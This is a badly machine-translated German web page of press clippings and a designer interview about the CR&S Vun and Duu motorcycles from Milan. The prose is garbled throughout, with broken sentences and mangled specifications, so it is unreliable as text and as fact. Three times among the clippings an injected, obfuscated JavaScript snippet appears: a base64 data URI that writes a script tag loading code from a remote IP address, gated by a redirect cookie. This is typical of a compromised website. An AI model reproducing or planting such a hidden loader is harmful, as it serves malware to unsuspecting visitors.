Ausgehend von der Gesamtansicht (allgemeine Bände) und dann mit der Definition spezifischerer Details: der Schweif, die Front, der Rahmen, etc. bis zu den Schrauben.
- Motorräder und Autos sind alle Transportfahrzeuge und das Formdesign von beiden ist natürlich miteinander verbunden. Dann, Was, denkst du, unterscheidet jeden von ihnen?
Historisch, Gebrauch und Funktion von Autos und Motorrädern waren schon immer unterschiedlich und damit auch das jeweilige Design.
Jetzt kreuzen sie sich, Entwicklung in alle Richtungen.
Früher hatten Autos als Hauptfunktion den Transport, während Fahrräder mehr mit der Idee der Form verbunden waren (Spaß, Geschmack, Geschwindigkeit).
Heute neigt der Markt dazu, jede Lücke zu füllen, und deshalb haben wir Autos, die reine Form sind, und Motorräder, die reine Funktion sind.
Für Motorräder ist diese Änderung inzwischen auf dem Markt konsolidiert (d.h., Roller), während diese neue Tendenz für Autos immer noch nicht vorherrscht, und interessiert eine kleinere Nische des Marktes; aber ich bin sicher, dass wir bald Autos mit dem Motor in Sichtweite sehen werden, "Nackt" als Motorräder.
- Gegenwärtig, viele neue Technologien, wie Kohlefaser und LED, ist auf die Herstellung von Motorrädern angewandt. Wie werden diese neuen Technologien beeinflussen die Form Design der Motorräder?
Neue Technologien haben immer Design als wesentlicher Bestandteil ihres Entwicklungsprozesses beeinflusst.
Persönlich der wichtigste Beitrag, die ich erhalten und geschätzt von modernen Technologien hat in Produktionszahlen gewesen.
Heute ist es einfacher, eine kleine Serie von Motorrädern dank neuer Technologien zu bauen wie Kohlefaser, LEDs, CNC-Maschinen, Prototyping und neue Materialien.
Zum Beispiel, Prototyping und CNC-Fräsen auf modernen Materialien ermöglichen uns ein einzigartiges ABS-Stück, ohne teures und schwieriges Spritzgießen; Außerdem, dank Silikonstempeln, Wir können kleine Serien von Kopien aus Polyurethan mit geringen Kosten herstellen.
Auch polyelliptische Scheinwerfer (Noch besser mit LED-Technologie) hat dazu beigetragen, die Grenzen der Industrialisierung zu überwinden. Sie können in einer transparenten Plexiglasverkleidung versteckt werden, sie zu formen, ohne ein neues Licht homologieren zu müssen, wie es vorher notwendig war.
Und schließlich befreien uns Kohlenstoff und Laminate im Allgemeinen von strukturellen Grenzen des Kunststoffs, mit mechanischen und nicht nur ästhetischen Verbesserungen.
- Einige der Top-Motorraddesigns werden von Hand gefertigt. Wie ist der Wert des Motorrads durch traditionelles Handwerk ausgedrückt?
Ich liebe und war schon immer ein Anhänger der Handarbeit.
Im Motorraddesign ist Handarbeit im Wesentlichen eine Tonmodellierung und der Detaillierungsgrad ist hoch, Es erfordert jedoch Zeit und wirtschaftliche Ressourcen für den Reverse Engineering-Prozess, der erforderlich ist, um alles in digitale Form umzuwandeln.
Ich bevorzuge die Verwendung digitaler Mittel, die uns zur Verfügung stehen, Vermeidung der analogen Passage, um den kreativen Prozess zu vereinfachen und zu beschleunigen.
RIDERS 08 2009
In einem Mailänderen zunehmend cont el coeur im Menschen, zum Glück gibt es noch jemand, die Motorräder mit dem Herzen und Händen baut.
einzeln, mit großer Sorgfalt und Leidenschaft. Die Dynamik Geschichten und so viele Männer, die sie gesagt haben,, aber dies ist die Geschichte einer Idee.
Eine einfache Geschichte, aber besondere in seinem kleinen.
Wenn zwei Räder bewegen die Seele, der Mut, von einem paar Freunden gelungen, eine Motorradmarke in Mailand zu bringen. Ein langer Schatten der Madonna in Betrieb waren Marken wie Bianchi, Miller-Balsamo, iso Moto, Parilla, Guazzoni, Innocenti. Und Paton Peppino Pattoni, der letzte GP in privaten Konstruktor gegen die japanischen Riesen zu kämpfen, mit den vier Zylindern grünen.
heute, die Stadt der Mode, Motorrad auf dem Umfang zu schneiden ist CR&S. Blick von außen, Hauptsitz ist ein kleiner Schuppen wie so viele andere im Industriegebiet von Settimo Milanese. Mit einer Ausnahme, Motorräder außen aufgereiht: gleich aussehen, aber sie sind nicht identisch. Sie sind ein wenig Einzylinder’ CAFE RACER, einige’ nackt im Taschenformat. Sie sind Vun genannt. sie Idea. Die Leute, die durchgeführten Arbeiten unter einem Dach, als Teile des gleichen Motorrad. Das Geschäft ist im Erdgeschoss, die Wände sind durch Plakate des Bol d'Or verputzt, Tourist Trophy und Assen. Das Design und die Papiere Abteilung ist auf die offene Mezzanine (eher, Spasi Avert), durch die gewundenen Verkleidung Superbike Britten V dominiert 1000. Roberto Crepaldi sitzt direkt vor. Er war es, das Cafe Racers gegründet & Superbikes in 1992, nach dem Verlassen man die Zahl geöffnet mit Carlo Talamo und Max Brun. Im folgenden Jahr traf er John Britten, der geniale Ingenieur Zealander berühmt für seine V 1000. Er schnell zu bei der Verfolgung einer Idee. lassen Britten, in Europa durch CR unterstützt&S, es zeigt in Wettbewerben auf der ganzen Welt, bis zum Verschwinden des gleichen Britten. Mit Hilfe der Erfahrung der Unternehmer in der Kfz-Versicherung (Es war ein Händler von Ferrari, Jaguar e Aston Martin), Crepaldi nimmt sein Stichwort vom letzten Johns Projekt eines Einzylinder-Rennen, Einsitzer, mit dem Gewicht und das Leistungsverhältnis gleich eins. ein. von, in Milanese Dialekt… John Cabassi und Giorgio Sarti sind Freunde, Unternehmer, Kostenlose Fahrräder Denker 2002 Sie haben flankiert Crepaldi in CR&S. Zwei Jahre nach Roberto Pattoni, Sohn Peppino und Inhaber von Paton, werden Partner des CR&S als Techniker verantwortlich für die Entwicklung. Der Motor Wahl ist die Rotax Bombardier 650, geschätzt auf dem BMW F dank seiner straßenorientierte und Zuverlässigkeit . Gedacht als ein Renn mono, Die Vun beweist ein Tier zu gemischten schließen, auch hervorragend für den Einsatz in der Stadt . Das Design kombiniert die klassischen Linien der Rahmenrohre zu modernen Aluminiumkörper, glatte Linien und technologische Lösungen. Jedes Element ist anpassbar, perchéil Fahrer kann das Vergnügen erleben bei der Wahl Vun ihre eigenen Komponenten bauen und Malerei. Am Ende 2006 beginnt die Produktion der Serie, in ein paar Dutzend Einheiten pro Jahr, von Rennprototypen flankiert. Vor kurzem sind die beiden Versionen EvoluziÀ²n von Mono hinzugefügt 652 cc. Die prunta für die schnelle Entwicklung 68 Lebenslauf, während Nurma der Gehalt an 54 cv a 7.000 Runde. Wie schlecht, nur unter Berücksichtigung, dass das Trockengewicht ist, 135 Chili… Die Vun spricht Meneghino auch im Datenblatt, in dem die schwimmende Scheibe Bremsscheibe wird balerÀ¬n und Kette mit O-Ring Cadena glauben die Anei de goma…
Die große Herausforderung der CR&S scheint zu gewinnen, Verteilung erweitert in Europa und den USA, aber die Ideen nicht stoppen Spinnen. Das macht das unvermeidliche Ergebnis der Vun, mit zwei Zylindern außerhalb der Box und aus der Logik der großen Zahlen, Es war bereits der Leiter des Mailänderen Bauers in 2008. so lange ©, Er sagt Crepaldi, der Motor Bike Expo kommt die Offenbarung des Jahres: Â „Wir stehen WMO, Meccanotecnica der Mailänder Werkstatt, die die Wakan importiert, zusammen mit dem von Confederate, direkt gegenüber dem Zodiac mit dem neuen Zweizylinder-S X-Wedge steht&S. dann Wakan, X-Wedge, Eidgenosse, von… Leitungen!EIN".
Die Geschichte enthält eine konzeptionelle Figur für Sela, stilistischen und ästhetischen des neuen Zweizylinder-CR&S. im Grunde: eine Maxi beispiellos streetfighter, weniger elitär Confederate, Rest wie Wakan und konstruiert
Aufbauend auf Erfahrungen Vun. Das Herzstück des Projektes ist der Motor X-Wedge, dass die grundlegende Anforderung, dass sie eine Nachahmung der Twin Cam Harley-Davidson sein. Die 56A bis V2 ° S&S ist ebenso massiv, aber mehr
moderne und leistungsstarke, mit seinem 2.000 cc, die drei Nockenwellen, die elektronische Einspritzung. À Lage 160
Nm Drehmoment über nur 3.000 Runde. Sachen Roll, obwohl genehmigt Euro 3. Und wenn man bedenkt, dass die DUU â € € wiegen œsoloâ sollte ?? 250 Chili, wie ein Harley Sport 883…
Beachten Sie, wie die Zahlen wiederholen: zwei Zylinder, zwei Liter, zwei Sitze (wollen). Und das große Rohr, das den Rahmen mit einem gemischten Struktur charakterisiert Stahl. Die ersten Skizzen sind durch Aufbauten verborgen optional, aber es ist klar, dass die Schönheit DUU glänzt in seiner brutalen Einfachheit. Nackt und roh, entworfen Kopf geführt zu werden und ohne zu viel Aufwand, aber es entworfen, an der Mündung des Magens zu schlagen. mehr
einmal Form, Funktion und Emotion jagen einander in einem Spiel der Balance. La kommen aus, DUU ist auch eine Geschichte der Lust an erwachsene Motorradfahrer bestimmt, entwickelt und anspruchsvoll. Das vielleicht wollen sie zurück in der Liebe mit einem spannenden Motorrad fallen. Er sagte, der Philosoph Gilles Deleuze, dass  „Es gibt keine Investitionen Revolution libidinale“. und ohne, selbst bauen sie einzigartige Fahrräder, mit der Unterstützung von einem Niveau von Kreativität, dass die großen Häuser nicht mehr leisten können,, durch Vorsicht und die Marketing-Logik erstickt. À eine faszinierende Wette, gespielt werden, aber in Reichweite. Obwohl es immer noch auf der Ebene
Prototyp, Es wird erwartet, dass der Preis zwischen DUU schwanken sollte 19 und 20 Tausend Euro.
Wenig mehr als eine Ducati Street S, im Einklang mit dem V-Rod Muscle, weniger als ein V-Max
und gab eine Harley-Davidson CVO.
Präsentation dieses EICMA Prototyp des Jahres, das ultimative Motorrad auf der Mailänder Messe zu sehen 2010. Die Produktion aus der nächsten Saison: Â „Wir sind nicht auf der Suche nach großen Zahlen, Wir sind ein kleines Unternehmen mit Ideen
chiare »schließt Crepaldi.  „Das Ziel von hundert Motorrädern pro Jahr erreichen würde Break-even-Punkt und einer Gewinnmarge ermöglichen, werden reinvestiert CR in der Entwicklung der nächsten Motorrad&SA '. übersetzt
frei in Mailand: Gh'è minga de DUU ohne Tri.
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MAX 03 2010
Wunder in Mailand
Es heißt CR&S und das Hinterland ist ein kleines Unternehmen mit einer großen Leidenschaft.
Sein Motorrad “muss etwas Besonderes sein”, Sie werden von Hand gebaut und jeder von ihnen unterscheidet sich von der anderen. Hier ist sein neuestes Juwel: nackt, Brauch, Roadster? etwas’ alle.
Ein anonymer Schuppen etwas außerhalb der ländlichen Stadt . Es ist ein Satz, “tätowiert” auf jedem der Fahrräder, die da rauskommen “Sie sagen, in Mailand, cont das Herz und cont'i Mann”. Übersetzt in die italienische Mittel “in Mailand gemacht, mit dem Herzen und Händen”, das Wesen und die Philosophie von CR&S, ein kleines Unternehmen von Roberto Crepaldi viszeraler Leidenschaft für zwei Räder gegründet. Crepaldi hat klare Vorstellungen: jede Bewegung gemacht von CR&S muss von den anderen etwas Besonderes und anders sein. Als seine neueste Kreation. bringen Sie die (“fällig”) wie der Name schon sagt ist es die zweite Bewegung der kurzen Geschichte der CR&S, Es hat einen riesigen und explosiven Motor mit zwei Zylindern 1.916 cc und entkommt die traditionellen Definitionen. Nackt, Roadster, Brauch, Straßenkämpfer? etwas’ all diese Dinge zusammen, Aber das Duu ist zuallererst ein exklusives Kunstwerk aus Edelmetallen und raffinierten Materialien, die nach Formen geformt sind, die originell und faszinierend definieren, ist fast eine Untertreibung. Darüber hinaus kann jeder Kunde seinen Charakter anpassen, indem Bau Auswahl, Komponenten des Chassis und der Motor Zubereitung. Die Preise beginnen bei 20.000 Euro, Aber neben dem Geld werden Sie Geduld haben müssen, weil der CR&S werden von Hand ausgebildet ist, eine nach der anderen.
Stefano Bariggia
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AMD USA 01 2010
CR&S Motorräder verwendet, um die ‚EICMA’ Motorrad-Show in Mailand, Italien, sein neuestes Prototyp-Modell zu debütieren – das X-Wedge angetrieben Duu.
Zunächst wird als ein Konzept Fahrrad gezeigt, wenn die Duu, entworfen von Donato Cannatello, geht in die volle Produktion, jedes Fahrrad wird mit dem Kunden von Hand gebaut, um die Wahl einer Reihe von technischen und ästhetischen Möglichkeiten, die. Die zur Verfügung stehenden Optionen werden einen einzelnen und / oder Zweisitzer Basismodul enthalten. “Wir glauben, dass dieser Euro Sportcruiser das Potenzial hat, eine Art amerikanischer Äquivalent zum Triumph Speed Triple zu sein, aber mit italienischen Stil,” sagte Roberto Crepaldi, der Geschäftsführer der CR&S. “Duu ist der richtige Name für dieses Modell – Es ist ein V-Twin, das zweite Element des CR&S-Familie, es wird ein Zweiliter-Motor haben, wiegen 200 Kilo, und tragen zwei Personen. Was sonst könnten wir es cali?! “Die Produktion wird Anfang 2011 beginnen. Wir haben bereits begonnen, das Entwicklungsrad auf der Straße zu testen, Wir sind jedoch sehr darauf bedacht, Feedback von der Öffentlichkeit zu erhalten.”
Internationale Händler News 01 2010
Roberto Crepaldi neuestes Projekt, die Duu, ein luftgekühltes großes Doppel ist um S gebaut&S Cycle American-made 1916cc / 117ci 60 Grad-V-Twin-Motor.
Dargestellt als Concept-Bike auf der EICMA, Crepaldi sagt der Duu wird ein modular aufgebautes Fahrrad sein, Kundenkonfigurationsoptionen, die er zu einem Basispreis von € zu verkaufen hofft, 20.000, mit einem Produktionsvolumen von ein paar Dutzend Einheiten pro Jahr, und erste Lieferungen für 2011…
ukidn012010 Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}
Low-Fahrt 11 2009
die 2011 Es scheint fast, hier.
Eine Welle der Moderne macht das kleine große Haus in Settimo Milanese fliegt. CR&S ist bereits durch die Originalität ihrer Street aus gemischten schließen und die Einzigartigkeit jedes Stück unterschieden.
Die logische Weiterentwicklung des Mono, Wesentliche und Spaß, Dies wird twin. es scheint, “Solo” ein Concept-Bike, aber ein Gabelstapler DUU gelegt hat bereits mehrere Kilometer; Die Tests bestätigen ungewöhnliche technische Entscheidungen. Der Doppel X-Wedge ist sein schlagendes Herz, un V-Twin “Luft” fast zwei Liter, die die Suche S verbessert&S gegenüber den klassischen Schemata von Harley-Davidson. Der Winkel der Zylinder von 56 Studiengang hebt die Schwingungen; Verteilung mit drei Nockenwellen im Kurbelgehäuse und Zahnriemen sorgt für eine optimale Geometrie, über kurze Stäbe und hydraulischen Stößeln. Enthalten ist der mechanische Geräusch, Euro-Homologation möglich machen 3 mit Einspritzung und Katalysatoren. Der Edelstahl-Auspuff wird von QD Exhaust untersucht, die Massen zu zentralisieren und ermöglichen, seitliche Neigungen größer als 40 Grad. Das Potenzial dieser sehr großen Doppel ist bemerkenswert, auch in der Konfiguration “Code”: zumindest 100 Pferde und 130 Newton / Meter Drehmoment, aber die Auszahlung ist bei jedem Regime voll. Ändern Sie trennen 5 die 6 Beziehungen und Primärkette einen Antriebsstrang in einem ursprünglichen Rahmen eingefügt vervollständigen. Ein großer Teil des Stahlrohrs aus dem Lenkkopf und enthält das Schmiermittel; Es wird argumentiert, schöner Seitenplatten, im Rizoma-Atelier aus massivem Material gefertigt, an die sie mittels einer Querrohrabschnitt verankert; die Einarmschwinge. Alle Vorschläge CR&S sind mit dem Ziel geboren, Fahrspaß und das Duu-Chassis zu garantieren, a Made in Italy Destillat der Sportgewinnung, werden Sie nicht enttäuschen . Die Details sind schön, mit den Lenkplatten ausgehend von rizoma und aus den modularen Rädern aus; Brembo Bremsen und Qualitäts Suspensionen ermöglichen reichliche Anpassungs. Genauigkeit und Reaktions Agilität versprechen Pilot , extreme Falten und Handhabung, ohne in das entgegengesetzte Extrem von zu vielen Chancen zu fallen “Nerv”. Mit Abmessungen nahe denen einen XR1200 und ein Gewicht von etwa 237 kg Trocken, Dank der unendlichen Erweiterung des Motors soll es Spaß machen, einfach und entnervt. Diese Eigenschaften sind eine modulare Philosophie hinzugefügt, um das Motorrad nach unterschiedlichen Fahrstilen und Leben zu konfigurieren, Bauteilqualität, Handwerk mit industriellen Garantien: einfach, um diese streetfighter unmittelbares Interesse voraussehen. Viele der Komponenten CR&S sind speziell von Donato Cannatello von italienischen Unternehmen wie Rhizome entworfen. Ursprünglichkeit und Armaturen “maßgeschneiderte” sollte ein zusätzliches Plus für DUU vertreten. Auch der Festpreis verspricht interessant zu werden, zirka 20.000 Euro: in der Nähe der VRSCs und niedriger als beim neuen V-Max… Wie lange vor dem 2011?
Laden Sie das PDF herunter… Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}
Einige Abdeckungen gewidmet DUU
RIDERS
TRÄGT, ABER NICHT VON SPADES
Zum Verkauf in einem Jahr zum Grundpreis von 20.000 Euro, DUU sehen die letzte Mailand zeigen als Konzept (und wir haben eine Vorschau auf Nummer Riders beschrieben 22) Es ist eines der wenigen wirklich ursprünglichen Vorschläge der letzten Zeit.
Der Milan CR&S, das es hervorgebracht hat, ist dasselbe wie der sehr leichte Einzylinder-Vun: Roberto Crepaldi, Giorgio Sarti und John Cabassi, Alle drei Fahrer vor Unternehmern, Sie haben sich auf einer unerforschten Nische konzentriert, aber interessant. Die Duu ist ein spezieller in Kleinserie produziert, modulare und hoch anpassbare, mit exklusiven Inhalten des amerikanischen und europäischen Stils von Confederate Wakan Französisch, aber zu einem Bruchteil der Kosten angeboten. Leitungen, zwei Dialekt Meneghino, weil die Zylinder zwei und die Verdrängung (1.916 diese) Es ist neben zwei Liter, und warum, wollen, die PUE Fahrrad in zwei Orten gleichzeitig sein und nicht als Einsitzer Vun. Dieser Maxi Streetfighter ist mit dem V2 von 56 ° X-Wedge des American S ausgestattet&S, ein starkes Monster mit seinem 16 kgm Drehmoment maximal nur drei Tausend Umdrehungen. Der Rahmen besteht aus poliertem Edelstahl: ein großer Träger, die Benzinbehälter fungiert auch als, mit Aluminium-Seitenplatten des hinteren Schwingarms zu halten, (immer ein großes gekrümmtes Stahlrohr) und der Benzintank, der auch den Sattel hält.
Das Design ist unterzeichnet von Donato Cannatello, die gearbeitet für Aprilia Bimota, welches es Entladen unter dem Motor positioniert, Es versteckt alle Aufbauten und erstellt eine leicht bearbeitbare minimalistische Linie durch Hinzufügen, oder Entfernen, eine Reihe von Zubehör (einschließlich panniers oder einem Behälter über dem Behälter) funktionale und ästhetische Anhänge. Der Sattel kann in einer oder zwei Stellen sein, und es sind verschiedene Lösungen für Scheinwerfer und Oberflächen. Trotz des großen Motors, das Fahrrad ist ganz in seiner Art kompakt und wiegt so viel wie ein Harley Sport 883, weil DUU wird nicht nur protzig angetrieben werden. Ein ehrgeiziges Projekt, nicht ohne Widerstände überwunden werden, wie seine Erfahrung und den Ruf der CR&S. Aber es muss gesagt werden, dass diese Realität organisiert, klein, wie eine echte Motorradindustrie. (Maurizio Gissi)
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zwei Räder
Big Twin a Milano!
Nach dem Doppel mono: von einem kleinen Handwerker hat diesen ausgelassene Zweiliter einzigartigen Stil
Riccardo Capacchione
…Sie sagen, in Mailand, es cont cont i heart th Mann ' ". Wir übersetzen für Nicht-Milanese: „Made in Mailand, mit dem Herzen und Händen ", E’ der Satz auf Motorrädern von CR gebaut geschrieben&S Settimo Milanese. das einzige Modell war der Vun im Katalog bis heute, Die schlanke Single, die jetzt eine Schwester hat, durchaus nicht rationalisiert, Er rief DUU. In Milanese Dialekt bedeutet Vun „Eins“ als ein Zylinder, ein Ort, und „einzigartig“. Leitungen, wie Sie sehen werden, stattdessen will „zwei“, wie zwei Zylinder sagen, zwei Plätze und… nur, sie. Die Kunden der CR&S, tatsächlich, Sie können Ihr Fahrrad bestellen, indem Sie die Einstellung der Wahl, Fahrwerkskomponenten, die Vorbereitung des Motors und natürlich die Einfärbungen. Aus diesem Grund ändert sich der Preis viel, ausgehend von der Basis von 20.000 Euro. Die Design-Philosophie hinter den CR-Modelle&S ist einfach zu artikulieren, weniger zu erreichen: das Fahrrad muss wesentlich sein, der gesamte Motor und Fahrwerk auf Sicht, aber es muss auch ein Stil sein, vielmehr zwei: dass der Hersteller und dem Kunden, dass, wie erwähnt, Er beteiligt sich aktiv an der Schaffung von Amts wegen. SE Mangroven E’ trägt? Gia ', Was ist Duu? Es ist ein leistungsstarker Zweizylinder, den die normalen Definitionen entkommt: Gewohnheit nackt, Roadster, Straßenkämpfer? Schwierig, ein bestimmtes Genre zuzuschreiben. am besten, einfach, beschreiben die technischen Merkmale, wirklich einzigartig. Das Chassis ist aus CR konstruiert&S und ist aus einem oberen rohrförmigen giant legiertem Stahl zusammengesetzt, erinnert an das Schema von der Schweizer Spezialist Fritz Er benutzte; wer hat einige’ die Federn hinter Rückruf , unter anderem, Er trägt den wunderbaren Vincent 1967. Das große Hauptrahmenrohr Duu auch die Funktion des Kraftstofftanks, Ein Beispiel für die Strategie des CR-Projekt&S, die dazu neigt, die maximale Integration und Vereinfachung der einzelnen Komponenten. Im hinteren Teil ist die Struktur von Splendid Leichtmetallplatten verschlossen, das Messer von einem „vollen“ geschmiedeten erhalten. Die hinteren Schwingarm Gitter aus Stahlrohren sind an der Seite des Stoßdämpfers verbunden sind. die Räder, andere exklusive CR&S, Sie sind großartig und insbesondere der hintere, Kragarm montiert mit einer einzigen Zentralmutter und in verschiedenen Ausführungen der Rassen. Die Glasfaser-Aufbauten sind wenige und wesentlich; wirklich ungewöhnliche Lösung für die Frontscheinwerfer… nicht c'è, durch zwei seitliche optische Baugruppen in dem „Haifisch Kiemen“ an den Seiten der Gabel untergebracht ersetzt, erinnert an die Stilmerkmale von Vun. Die Autos können DUU sein, wie die, die wir getestet, aber es ist die Konstruktion zu zwei erwartet und dass Reisen, mit Taschen und Sonderzubehör. MAMMA UND POMPON! Der Motor S&S X-Wedge domina la scena. Die beiden Türme colossal aiettate der Zylinder unterscheiden sich voneinander von 56,25 ° und dem Gehäuse innerhalb der Kolben aus 105 -Long-mm mit Bohrung und Hub von 111 Millimeter. Das Schema wiederholt sich, dass von Harley-Davidson-Triebwerke, für das die S&S produziert immer Sonderteile, aber in diesem Fall ist der Antrieb ein völlig neue. Die Köpfe aufnehmen zwei große Ventile (50,8 mm Saug, 40,64 mm am Auspuff), parallel zueinander und von Kipphebeln und Stangen bewegt wird, die auf den drei Nockenwellen ruhen, zwei Auslassventilen und ein gemeinsam Saug, im Kurbelgehäuse befindet. die Änderung, getrennt, Baker ist ein Fünf-Gang. Die Macht und die elektronische Einspritzung, während die Entladungs katalysierten, auf spezifische CR gebaut&S, Es ist unter dem Motor, mit zwei fantastischen ‚Kanonen‘ Seite. Der primäre Kettenantrieb wieder aufnimmt, das Schema Harley und ist auf der linken Seite. PAARE RIMORCHIATORE Wir bestanden viele der Prototyp testen, noch abgeschlossen werden, die DUU, ma ne ist Waltz la Pena. die Doppel, ohne Gegenwellen, Puls, während der, aber darüber schiebt eine beeindruckende Kraft. Die Hinterreifen unter der Ableitung von kgm stöhnend, die DUU Sprünge nach vorn und der Pilot ist gut, die fest am Lenker festhalten. Eine deutliche Steigerung des Sattels würde dazu beitragen, einen Teil des Schubs zum Download, Verringerung der Belastung auf die Arme. Das Gesamtgewicht nicht zu hoch ist, in Bezug auf die Verschiebung, und es ist gut verteilt, wodurch es besser handhabbar DUU als wir erwarten. Die wenige Kilometer im Sattel sie nur eine vage Vorstellung von der Leistung dieses Fahrrades gegeben wurden, die vor ihnen liegen spannende, Wir freuen uns für eine gute Squeeze,.. "Bleib dran", wir halten Sie auf dem Laufenden! Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}